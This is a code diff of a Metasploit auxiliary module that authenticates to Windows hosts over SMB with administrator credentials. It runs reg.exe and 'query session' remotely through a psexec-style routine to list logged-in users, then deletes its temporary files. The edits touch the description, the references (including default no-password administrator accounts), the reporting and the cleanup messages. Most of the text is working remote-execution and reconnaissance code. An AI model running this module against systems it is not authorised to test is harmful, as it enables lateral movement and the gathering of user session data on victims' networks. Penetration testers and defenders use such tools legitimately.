@@ -17,17 +17,21 @@ class Metasploit3 < Msf::Auxiliary
17
17
18
18
def initialize
19
19
super (
20
- 'Name' => 'SMB - Query Logged On Users' ,
20
+ 'Name' => 'Microsoft Windows Authenticated Logged In Users Enumeration ' ,
21
21
'Description' => %Q{
22
- This module authenticates to a remote host or hosts and determines which users are
23
- currently logged in. It uses reg.exe to query the HKU base registry key.
22
+ This module uses a valid administrator username and password to enumerate users
23
+ currently logged in, using a similar technique than the "psexec" utility provided
24
+ by SysInternals. It uses reg.exe to query the HKU base registry key.
24
25
} ,
25
26
'Author' =>
26
27
[
27
- 'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
28
+ 'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
28
29
] ,
29
30
'References' => [
30
- [ 'URL' , 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ]
31
+ [ 'CVE' , '1999-0504' ] , # Administrator with no password (since this is the default)
32
+ [ 'OSVDB' , '3106' ] ,
33
+ [ 'URL' , 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ] ,
34
+ [ 'URL' , 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
31
35
] ,
32
36
'License' => MSF_LICENSE
33
37
)
@@ -41,14 +45,10 @@ def initialize
41
45
deregister_options ( 'RHOST' )
42
46
end
43
47
44
-
45
-
46
48
def peer
47
49
return "#{ rhost } :#{ rport } "
48
50
end
49
51
50
-
51
-
52
52
# This is the main controller function
53
53
def run_host ( ip )
54
54
cmd = "C:\\ WINDOWS\\ SYSTEM32\\ cmd.exe"
@@ -67,19 +67,17 @@ def run_host(ip)
67
67
68
68
keys = get_hku ( ip , smbshare , cmd , text , bat )
69
69
if !keys
70
- cleanup_after ( smbshare , ip , cmd , text , bat )
70
+ cleanup_after ( cmd , text , bat )
71
71
disconnect
72
72
return
73
73
end
74
74
keys . each do |key |
75
75
check_hku_entry ( key , ip , smbshare , cmd , text , bat )
76
76
end
77
- cleanup_after ( smbshare , ip , cmd , text , bat )
77
+ cleanup_after ( cmd , text , bat )
78
78
disconnect
79
79
end
80
80
81
-
82
-
83
81
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
84
82
# Returns an array object
85
83
def get_hku ( ip , smbshare , cmd , text , bat )
@@ -97,8 +95,6 @@ def get_hku(ip, smbshare, cmd, text, bat)
97
95
end
98
96
end
99
97
100
-
101
-
102
98
# This method will retrive output from a specified textfile on the remote host
103
99
def get_output ( ip , smbshare , file )
104
100
begin
@@ -114,20 +110,18 @@ def get_output(ip, smbshare, file)
114
110
end
115
111
end
116
112
117
-
118
-
119
113
def report_user ( username )
120
- report_note = {
114
+ report_note (
121
115
:host => rhost ,
122
116
:proto => 'tcp' ,
117
+ :sname => 'smb' ,
123
118
:port => rport ,
124
- :type => 'loggedin users' ,
125
- :data => username
126
- }
119
+ :type => 'smb.domain.loggedusers' ,
120
+ :data => "#{ username } is logged in" ,
121
+ :update => :unique_data
122
+ )
127
123
end
128
124
129
-
130
-
131
125
# This method checks a provided HKU entry to determine if it is a valid SID
132
126
# Either returns nil or returns the name of a valid user
133
127
def check_hku_entry ( key , ip , smbshare , cmd , text , bat )
@@ -144,7 +138,7 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat)
144
138
domain = line if line . include? ( "USERDOMAIN" )
145
139
end
146
140
if domain . split ( " " ) [ 2 ] . to_s . chomp + "\\ " + username . split ( " " ) [ 2 ] . to_s . chomp == datastore [ 'USERNAME' ]
147
- print_good ( "#{ datastore [ 'USERNAME' ] } is logged into #{ peer } " )
141
+ print_good ( "#{ peer } - #{ datastore [ 'USERNAME' ] } is logged in " )
148
142
report_user ( datastore [ 'USERNAME' ] )
149
143
end
150
144
return
@@ -159,20 +153,20 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat)
159
153
if username . length > 0 && domain . length > 0
160
154
user = domain . split ( " " ) [ 2 ] . to_s + "\\ " + username . split ( " " ) [ 2 ] . to_s
161
155
print_good ( "#{ peer } - #{ user } " )
162
- report_user ( user )
156
+ report_user ( user . chomp )
163
157
elsif logonserver . length > 0 && homepath . length > 0
164
158
uname = homepath . split ( '\\' ) [ homepath . split ( '\\' ) . size - 1 ]
165
159
if uname . include? ( "." )
166
160
uname = uname . split ( "." ) [ 0 ]
167
161
end
168
162
user = logonserver . split ( '\\\\' ) [ 1 ] . chomp . to_s + "\\ " + uname . to_s
169
163
print_good ( "#{ peer } - #{ user } " )
170
- report_user ( user )
164
+ report_user ( user . chomp )
171
165
else
172
166
if username = query_session ( smbshare , ip , cmd , text , bat )
173
167
user = dnsdomain . split ( " " ) [ 2 ] . split ( "." ) [ 0 ] . to_s + "\\ " + username . to_s
174
168
print_good ( "#{ peer } - #{ user } " )
175
- report_user ( user )
169
+ report_user ( user . chomp )
176
170
else
177
171
print_status ( "#{ peer } - Unable to determine user information for user: #{ key } " )
178
172
end
@@ -186,23 +180,21 @@ def check_hku_entry(key, ip, smbshare, cmd, text, bat)
186
180
end
187
181
end
188
182
189
-
190
-
191
183
# Cleanup module. Gets rid of .txt and .bat files created in the WINDOWS\Temp directory
192
- def cleanup_after ( smbshare , ip , cmd , text , bat )
184
+ def cleanup_after ( cmd , text , bat )
193
185
begin
194
186
# Try and do cleanup command
195
187
cleanup = "#{ cmd } /C del C:#{ text } & del #{ bat } "
196
- print_status ( "Executing cleanup on host: #{ peer } " )
188
+ print_status ( "#{ peer } - Executing cleanup " )
197
189
out = psexec ( cleanup )
198
190
rescue StandardError => cleanuperror
199
- print_error ( "Unable to processes cleanup commands: #{ cleanuperror } " )
191
+ print_error ( "#{ peer } - Unable to processes cleanup commands: #{ cleanuperror } " )
192
+ print_warning ( "#{ peer } - Maybe C:#{ text } must be deleted manually" )
193
+ print_warning ( "#{ peer } - Maybe #{ bat } must be deleted manually" )
200
194
return cleanuperror
201
195
end
202
196
end
203
197
204
-
205
-
206
198
# Method trys to use "query session" to determine logged in user
207
199
def query_session ( smbshare , ip , cmd , text , bat )
208
200
begin
@@ -220,8 +212,6 @@ def query_session(smbshare, ip, cmd, text, bat)
220
212
end
221
213
end
222
214
223
-
224
-
225
215
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
226
216
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
227
217
def psexec ( command )
0 commit comments